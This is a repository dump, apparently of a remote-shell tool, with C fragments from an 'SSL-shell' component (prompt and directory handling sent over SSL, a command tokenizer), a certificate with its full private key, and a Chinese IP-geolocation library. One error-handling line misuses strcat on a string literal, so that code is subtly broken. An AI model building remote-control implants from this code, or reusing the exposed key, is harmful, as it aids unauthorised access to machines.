87 | GetCurrentDirectoryA(MAX_PATH, path); 88 | // check if there is enoug space to add "> " 89 | if (strlen(path) + strlen("> ") < sizeof(path)) 90 | { 91 | strcat(path, "> "); 92 | } 93 | SSL_write(ssl, path, strlen(path)); 94 | } 95 | 96 | bool change_directory(const char *dir) 97 | { 98 | // if they only typed "cd" 99 | if (dir == NULL) 100 | { 101 | // if (SHGetFolderPathA(NULL, CSIDL_PROFILE, NULL, 0, path) == S_OK) 102 | // ^ x86_64-w64-mingw32-gcc doesn't like shlobj.h 103 | char path[MAX_PATH]; 104 | if (GetEnvironmentVariableA("USERPROFILE", path, MAX_PATH) > 0) 105 | { 106 | if (SetCurrentDirectoryA(path)) 107 | { 108 | return true; 109 | } 110 | } 111 | return false; 112 | } 113 | 114 | // Change directory - works with relative and absolute 115 | if (SetCurrentDirectoryA(dir)) 116 | { 117 | return true; 118 | } 119 | return false; 120 | } 121 | 122 | #else 123 | void send_cwd(SSL *ssl) 124 | { 125 | char path[4096]; // size of PATH_MAX 126 | 127 | if (getcwd(path, sizeof(path)) != NULL) 128 | { 129 | // check if there is enoug space to add "> " 130 | if (strlen(path) + strlen("> ") < sizeof(path)) 131 | { 132 | strcat(path, "> "); 133 | } 134 | } 135 | else 136 | { 137 | strcat("getcwd() error\n", path); 138 | } 139 | 140 | SSL_write(ssl, path, strlen(path)); 141 | } 142 | 143 | bool change_directory(const char *dir) 144 | { 145 | if (dir == NULL) 146 | { 147 | if (chdir("~") == 0) 148 | { 149 | return true; 150 | } 151 | return false; 152 | } 153 | 154 | if (chdir(dir) == 0) 155 | { 156 | return true; 157 | } 158 | return false; 159 | } 160 | #endif -------------------------------------------------------------------------------- /SSL-shell/shell.h: -------------------------------------------------------------------------------- 1 | #ifndef SSLSHELL_SHELL_H 2 | #define SSLSHELL_SHELL_H 3 | 4 | #include 5 | #include 6 | 7 | void SSL_shell(SSL *ssl); 8 | 9 | #endif // SSLSHELL_SHELL_H -------------------------------------------------------------------------------- /SSL-shell/utils.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "utils.h" 7 | 8 | /* 9 | split_command() will tokenize a string into an array using " " as the delimiter unless quotes are present 10 | in this case it will be very useful for working with custom commands 11 | 12 | usage example: 13 | char *test_input = "cd \"Downloads/new test/main\" && mousepad 'new build/main.txt' -option"; 14 | char **words = NULL; 15 | int wordCount = 0; 16 | split_command(test_input, &words, &wordCount); 17 | 18 | resulting array would look like this: 19 | ["cd", ""Downloads/new test/main"", "&&", "mousepad", "'new build/main.txt'", "-option"] 20 | */ 21 | 22 | void cleanup_argarray(char ***words, int *wordCount) 23 | { 24 | for (int i = 0; i < *wordCount; i++) 25 | { 26 | free((*words)[i]); 27 | } 28 | free(*words); 29 | *words = NULL; 30 | *wordCount = 0; 31 | } 32 | 33 | // function to reduce duplicated code 34 | void process_word(char ***words, int *wordCount, char *word, int wordIndex) 35 | { 36 | // Trim trailing spaces from the word 37 | while (wordIndex > 0 && isspace((unsigned char)word[wordIndex - 1])) 38 | { 39 | wordIndex--; 40 | } 41 | // add word to array 42 | word[wordIndex] = '\0'; 43 | *words = realloc(*words, sizeof(char *) * (*wordCount + 1)); 44 | if (*words == NULL) 45 | { 46 | fprintf(stderr, "Error: memory allocation failed\n"); 47 | cleanup_argarray(words, wordCount); 48 | exit(1); 49 | } 50 | (*words)[*wordCount] = word; 51 | (*wordCount)++; 52 | } 53 | 54 | int split_command(char *input, char ***words, int *wordCount) 55 | { 56 | *words = NULL; 57 | char *word = NULL; 58 | int wordIndex = 0; 59 | int inQuote = 0; 60 | int inputLen = strlen(input); 61 | 62 | if (inputLen < 1) 63 | { 64 | fprintf(stderr, "Error: input had 0 length\n"); 65 | cleanup_argarray(words, wordCount); 66 | return 1; 67 | } 68 | 69 | for (int i = 0; i < inputLen; i++) 70 | { 71 | char c = input[i]; 72 | if (c == '\'' || c == '\"') 73 | { 74 | if (!inQuote && word != NULL) 75 | { 76 | process_word(words, wordCount, word, wordIndex); 77 | word = NULL; 78 | } 79 | inQuote = !inQuote; 80 | } 81 | else if (c == ' ' && !inQuote) 82 | { 83 | if (word != NULL) 84 | { 85 | process_word(words, wordCount, word, wordIndex); 86 | word = NULL; 87 | } 88 | } 89 | else 90 | { 91 | if (word == NULL) 92 | { 93 | word = malloc(sizeof(char) * (inputLen + 1)); // Increased size by 1 to accommodate null character 94 | if (word == NULL) 95 | { 96 | fprintf(stderr, "Error: memory allocation failed\n"); 97 | cleanup_argarray(words, wordCount); 98 | return 1; 99 | } 100 | wordIndex = 0; 101 | } 102 | word[wordIndex++] = c; 103 | } 104 | } 105 | 106 | if (word != NULL) 107 | { 108 | process_word(words, wordCount, word, wordIndex); 109 | } 110 | 111 | *words = realloc(*words, sizeof(char *) * (*wordCount + 1)); 112 | if (*words == NULL) 113 | { 114 | fprintf(stderr, "Error: memory allocation failed\n"); 115 | cleanup_argarray(words, wordCount); 116 | return 1; 117 | } 118 | (*words)[*wordCount] = NULL; 119 | return 0; 120 | } 121 | -------------------------------------------------------------------------------- /SSL-shell/utils.h: -------------------------------------------------------------------------------- 1 | #ifndef SSLSHELL_UTILS_H 2 | #define SSLSHELL_UTILS_H 3 | 4 | int split_command(char *input, char ***words, int *wordCount); 5 | void cleanup_argarray(char ***words, int *wordCount); 6 | 7 | #endif // SSLSHELL_UTILS_H -------------------------------------------------------------------------------- /cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDazCCAlOgAwIBAgIUez2FnL+tn/cKX4WoA7vajOOkVNAwDQYJKoZIhvcNAQEL 3 | BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM 4 | GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0yNDA3MTkwODUzMjBaFw0yNTA3 5 | MTkwODUzMjBaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw 6 | HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEB 7 | AQUAA4IBDwAwggEKAoIBAQDGaGp9Hnvb6q3D0kJV/SPtU/Q5SxNrDA2wRWTqo4zM 8 | 32CCCjlEgBWbIKvXVsPEIuCxRUxvEjlqiLOccinCXigyBXtJTbDyoj78Skg7KX2y 9 | Uz4Z1B3Z2GBxZJtYms145yNFNWxGwUCAst1Wv3tGRjlfUJ84v+VeLbMZTRGDbVKO 10 | HYi3UEaJxQ5OmaWAjoy9MRzUk5J8pOgQpSQpu3iF/nGjJVrPvCU5ZXCvm7UtGV+T 11 | giV7wvJjQNd6SCcuk9dOGesUD6X/E3AHokqAW/4K2GRwcVT5sYF5N3OuwchTnuJs 12 | WcTf0PpS7NO7F9l4x+8V1dsN7pr3gwvAgXliQrDSvSepAgMBAAGjUzBRMB0GA1Ud 13 | DgQWBBT5MGB1FjUajlnhX+rMmy1IE9AlHjAfBgNVHSMEGDAWgBT5MGB1FjUajlnh 14 | X+rMmy1IE9AlHjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQDA 15 | EQwHGxEtzx7CsiDp1ENBWcuWfIaN6PoLJDhUemDxC959Mbdj1uUjEgmNdAx46xRr 16 | fA81xIupEwRAYSmYCMzWuxP7lWmWLMbNbDpgZEKX4SKyyFSZtFQ413Vy0CZH1tUr 17 | ndt88Q3cDOoZktwYUmGX1YAFJhZX3o051XMUgzvGGk04066VfSOu29vcl8ERHPZZ 18 | cHWA7xKXbbwMe08GUF7GSFWPqBZBzfuK4ZJvYQOwTJM+/olDzSdcyuU5fWwSrReM 19 | BoJPWMG3+whWsLgIJwNRB48BYrX47uDJXHFtFm9w1FIGEuHvvhGz+pibZ2wOJiKX 20 | W4GzIqhlzzxr57Gri+r7 21 | -----END CERTIFICATE----- 22 | -------------------------------------------------------------------------------- /key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDGaGp9Hnvb6q3D 3 | 0kJV/SPtU/Q5SxNrDA2wRWTqo4zM32CCCjlEgBWbIKvXVsPEIuCxRUxvEjlqiLOc 4 | cinCXigyBXtJTbDyoj78Skg7KX2yUz4Z1B3Z2GBxZJtYms145yNFNWxGwUCAst1W 5 | v3tGRjlfUJ84v+VeLbMZTRGDbVKOHYi3UEaJxQ5OmaWAjoy9MRzUk5J8pOgQpSQp 6 | u3iF/nGjJVrPvCU5ZXCvm7UtGV+TgiV7wvJjQNd6SCcuk9dOGesUD6X/E3AHokqA 7 | W/4K2GRwcVT5sYF5N3OuwchTnuJsWcTf0PpS7NO7F9l4x+8V1dsN7pr3gwvAgXli 8 | QrDSvSepAgMBAAECggEABoVyNpYnIQocad0UZmD/IWCdHJVCWFiZk2/8eBa4ODyB 9 | VXlwH25VdS4yOgUQ1XaYS52bRZsIhoOsdDUB1DoBVBHaxLusxd35LwIZvdHIXxXn 10 | M/38CzENQwYCKNdRuJg9a5u1+29fpyj53iizvxJZ9fhon+iHV2EuJwhhzej/Cbja 11 | pxw0thVHGSqF9YinAueC9UCF589g/4CR5N+0TxbtbER4cHZ9lHCKfk9SAA60hX7X 12 | QejJOx7saifl2pqZ9DuZEmjf1RzIb7oO+k/Wayfbk6iAO+QrmpiQgZLIhXLvXxG7 13 | gCYKsg7Ph3mKnqkGRvqdHz0nIEnHXxylHvaPP/kntwKBgQDxGOhnKixZi3Deo7xp 14 | VQEAN9eMp705re2uF6+dp4VeWzVOX8puF9eLgKzv6udS9L57+fGhc5CxkuqriDwM 15 | Uh5JmdD/ChEErw1M+DZeMCS/brewRUU0OBE5/0ZWlcr8zC/JnWRycBjQmGknGJSb 16 | +BNaQa62vqKLekc1GtNPePZTowKBgQDSq/8ORjUePmMFc/g21NOFyt2NXlCrWisx 17 | v/1EKhtDThipEMiMLVBkgC9pIm5ahkXv0y/oitJNn1eS1TCm8518jMPzP5rQm+qn 18 | MIeImHJp41niY7ahmBb1aOes1KauUeR1H5bDwUVSAYZa0G6it2EoRH8KH6jCyhej 19 | ZJTeENnsQwKBgQCrbpKSCKLQaR4wsSxfmVnE1fAmy375bHr8t0rgRyXGGgSlXeeK 20 | sNlLEIvnbJhfnDd14Bu4OXxBR74lihFokVuH6h95uaawNei3Oicugf0fQZLLe/Xh 21 | U5ysKJ/TIV/csTOpoIiz9pEugbEDY68H2DWqj9mzh4n8s02+rPxkHhbJEQKBgFig 22 | 2T11FdWyY1Ag+LSAlrg7nzdhDUj5NyDH51Gs8SlAiqldkTE/wwl0z/1H6esVgAij 23 | 7QzEkjLrrRjtrXkfFgsW4TzNbmECpxZNGUfC8qdPaToPvv5+kHIP/x87mx/M/fK0 24 | JmYWQgZ887vy4gh8Y1hgcJ2esg24nXc00lgV+MgnAoGBAIf0nWqH6Z4T1KWhGD+k 25 | ZVqYqe3t0lyfmyH7aP4HqKNl/1ijLBTkgrBSh0gUfNl2yXGjC8V716MlLSE6RIaX 26 | fCdmWvJwmkaz8gl3i1IeeZhE313Luo2kEIpycVFCA4osj9IGbxCSxqGrcoGZkKaO 27 | CFDq1XB2QFxJS6/u+zlT8GPj 28 | -----END PRIVATE KEY----- 29 | -------------------------------------------------------------------------------- /qqwry.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/R4be1/PuppetMaster/1bd0e6986eaca89a29669561106d7f7145b0bb64/qqwry.dat -------------------------------------------------------------------------------- /qqwry.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | # 3 | # for Python 3.0+ 4 | # 来自 https://pypi.python.org/pypi/qqwry-py3 5 | # 版本:2020-06-25 6 | # 7 | # 用法 8 | # ============ 9 | # from qqwry import QQwry 10 | # q = QQwry() 11 | # q.load_file('qqwry.dat') 12 | # result = q.lookup('8.8.8.8') 13 | # 14 | # 15 | # 解释q.load_file(filename, loadindex=False)函数 16 | # -------------- 17 | # 加载qqwry.dat文件。成功返回True,失败返回False。 18 | # 19 | # 参数filename可以是qqwry.dat的文件名(str类型),也可以是bytes类型的文件内容。 20 | # 21 | # 当参数loadindex=False时(默认参数): 22 | # 程序行为:把整个文件读入内存,从中搜索 23 | # 加载速度:很快,0.004 秒 24 | # 进程内存:较少,16.9 MB 25 | # 查询速度:较慢,5.3 万次/秒 26 | # 使用建议:适合桌面程序、大中小型网站 27 | # 28 | # 当参数loadindex=True时: 29 | # 程序行为:把整个文件读入内存。额外加载索引,把索引读入更快的数据结构 30 | # 加载速度:★★★非常慢,因为要额外加载索引,0.78 秒★★★ 31 | # 进程内存:较多,22.0 MB 32 | # 查询速度:较快,18.0 万次/秒 33 | # 使用建议:仅适合高负载服务器 34 | # 35 | # (以上是在i3 3.6GHz, Win10, Python 3.6.2 64bit,qqwry.dat 8.86MB时的数据) 36 | # 37 | # 38 | # 解释q.lookup('8.8.8.8')函数 39 | # -------------- 40 | # 找到则返回一个含有两个字符串的元组,如:('国家', '省份') 41 | # 没有找到结果,则返回一个None 42 | # 43 | # 44 | # 解释q.clear()函数 45 | # -------------- 46 | # 清空已加载的qqwry.dat 47 | # 再次调用load_file时不必执行q.clear() 48 | # 49 | # 50 | # 解释q.is_loaded()函数 51 | # -------------- 52 | # q对象是否已加载数据,返回True或False 53 | # 54 | # 55 | # 解释q.get_lastone()函数 56 | # -------------- 57 | # 返回最后一条数据,最后一条通常为数据的版本号 58 | # 没有数据则返回一个None 59 | 60 | import array 61 | import bisect 62 | import struct 63 | import socket 64 | import logging 65 | from typing import Tuple, Union 66 | 67 | __all__ = ('QQwry',) 68 | 69 | logger = logging.getLogger(__name__) 70 | 71 | def int3(data, offset): 72 | return data[offset] + (data[offset+1] << 8) + \ 73 | (data[offset+2] << 16) 74 | 75 | def int4(data, offset): 76 | return data[offset] + (data[offset+1] << 8) + \ 77 | (data[offset+2] << 16) + (data[offset+3] << 24) 78 | 79 | class QQwry: 80 | def __init__(self) -> None: 81 | self.clear() 82 | 83 | def clear(self) -> None: 84 | '''清空加载的数据,再次调用.load_file()时不必执行.clear()。''' 85 | self.idx1 = None 86 | self.idx2 = None 87 | self.idxo = None 88 | 89 | self.data = None 90 | self.index_begin = -1 91 | self.index_end = -1 92 | self.index_count = -1 93 | 94 | self.__fun = None 95 | 96 | def load_file(self, filename: Union[str, bytes], loadindex: bool=False) -> bool: 97 | '''加载qqwry.dat文件。成功返回True,失败返回False。 98 | 参数filename可以是qqwry.dat的文件名(str类型),也可以是bytes类型的文件内容。''' 99 | self.clear() 100 | 101 | if type(filename) == bytes: 102 | self.data = buffer = filename 103 | filename = 'memory data' 104 | elif type(filename) == str: 105 | # read file 106 | try: 107 | with open(filename, 'br') as f: 108 | self.data = buffer = f.read() 109 | except Exception as e: 110 | logger.error('%s open failed:%s' % (filename, str(e))) 111 | self.clear() 112 | return False 113 | 114 | if self.data == None: 115 | logger.error('%s load failed' % filename) 116 | self.clear() 117 | return False 118 | else: 119 | self.clear() 120 | return False 121 | 122 | if len(buffer) < 8: 123 | logger.error('%s load failed, file only %d bytes' % 124 | (filename, len(buffer)) 125 | ) 126 | self.clear() 127 | return False 128 | 129 | # index range 130 | index_begin = int4(buffer, 0) 131 | index_end = int4(buffer, 4) 132 | if index_begin > index_end or \ 133 | (index_end - index_begin) % 7 != 0 or \ 134 | index_end + 7 > len(buffer): 135 | logger.error('%s index error' % filename) 136 | self.clear() 137 | return False 138 | 139 | self.index_begin = index_begin 140 | self.index_end = index_end 141 | self.index_count = (index_end - index_begin) // 7 + 1 142 | 143 | if not loadindex: 144 | logger.info('%s %s bytes, %d segments. without index.' % 145 | (filename, format(len(buffer),','), self.index_count) 146 | ) 147 | self.__fun = self.__raw_search 148 | return True 149 | 150 | # load index 151 | self.idx1 = array.array('L') 152 | self.idx2 = array.array('L') 153 | self.idxo = array.array('L') 154 | 155 | try: 156 | for i in range(self.index_count): 157 | ip_begin = int4(buffer, index_begin + i*7) 158 | offset = int3(buffer, index_begin + i*7 + 4) 159 | 160 | # load ip_end 161 | ip_end = int4(buffer, offset) 162 | 163 | self.idx1.append(ip_begin) 164 | self.idx2.append(ip_end) 165 | self.idxo.append(offset+4) 166 | except: 167 | logger.error('%s load index error' % filename) 168 | self.clear() 169 | return False 170 | 171 | logger.info('%s %s bytes, %d segments. with index.' % 172 | (filename, format(len(buffer),','), len(self.idx1)) 173 | ) 174 | self.__fun = self.__index_search 175 | return True 176 | 177 | def __get_addr(self, offset): 178 | # mode 0x01, full jump 179 | mode = self.data[offset] 180 | if mode == 1: 181 | offset = int3(self.data, offset+1) 182 | mode = self.data[offset] 183 | 184 | # country 185 | if mode == 2: 186 | off1 = int3(self.data, offset+1) 187 | c = self.data[off1:self.data.index(b'\x00', off1)] 188 | offset += 4 189 | else: 190 | c = self.data[offset:self.data.index(b'\x00', offset)] 191 | offset += len(c) + 1 192 | 193 | # province 194 | if self.data[offset] == 2: 195 | offset = int3(self.data, offset+1) 196 | p = self.data[offset:self.data.index(b'\x00', offset)] 197 | 198 | return c.decode('gb18030', errors='replace'), \ 199 | p.decode('gb18030', errors='replace') 200 | 201 | def lookup(self, ip_str: str) -> Union[Tuple[str, str], None]: 202 | '''查找IP地址的归属地。 203 | 找到则返回一个含有两个字符串的元组,如:('国家', '省份') 204 | 没有找到结果,则返回一个None。''' 205 | ip = struct.unpack(">I", socket.inet_aton(ip_str.strip()))[0] 206 | 207 | try: 208 | return self.__fun(ip) 209 | except: 210 | if not self.is_loaded(): 211 | logger.error('Error: qqwry.dat not loaded yet.') 212 | else: 213 | raise 214 | 215 | def __raw_search(self, ip): 216 | l = 0 217 | r = self.index_count 218 | 219 | while r - l > 1: 220 | m = (l + r) // 2 221 | offset = self.index_begin + m * 7 222 | new_ip = int4(self.data, offset) 223 | 224 | if ip < new_ip: 225 | r = m 226 | else: 227 | l = m 228 | 229 | offset = self.index_begin + 7 * l 230 | ip_begin = int4(self.data, offset) 231 | 232 | offset = int3(self.data, offset+4) 233 | ip_end = int4(self.data, offset) 234 | 235 | if ip_begin <= ip <= ip_end: 236 | return self.__get_addr(offset+4) 237 | else: 238 | return None 239 | 240 | def __index_search(self, ip): 241 | posi = bisect.bisect_right(self.idx1, ip) - 1 242 | 243 | if posi >= 0 and self.idx1[posi] <= ip <= self.idx2[posi]: 244 | return self.__get_addr(self.idxo[posi]) 245 | else: 246 | return None 247 | 248 | def is_loaded(self) -> bool: 249 | '''是否已加载数据,返回True或False。''' 250 | return self.__fun != None 251 | 252 | def get_lastone(self) -> Union[Tuple[str, str], None]: 253 | '''返回最后一条数据,最后一条通常为数据的版本号。 254 | 没有数据则返回一个None。 255 | 如:('纯真网络', '2020年9月30日IP数据')''' 256 | try: 257 | offset = int3(self.data, self.index_end+4) 258 | return self.__get_addr(offset+4) 259 | except: 260 | return None 261 | 262 | if __name__ == '__main__': 263 | import sys 264 | if len(sys.argv) > 1: 265 | fn = 'qqwry.dat' 266 | q = QQwry() 267 | q.load_file(fn) 268 | 269 | for ipstr in sys.argv[1:]: 270 | s = q.lookup(ipstr) 271 | print('%s\n%s' % (ipstr, s)) 272 | else: 273 | print('请以查询ip作为参数运行') 274 | --------------------------------------------------------------------------------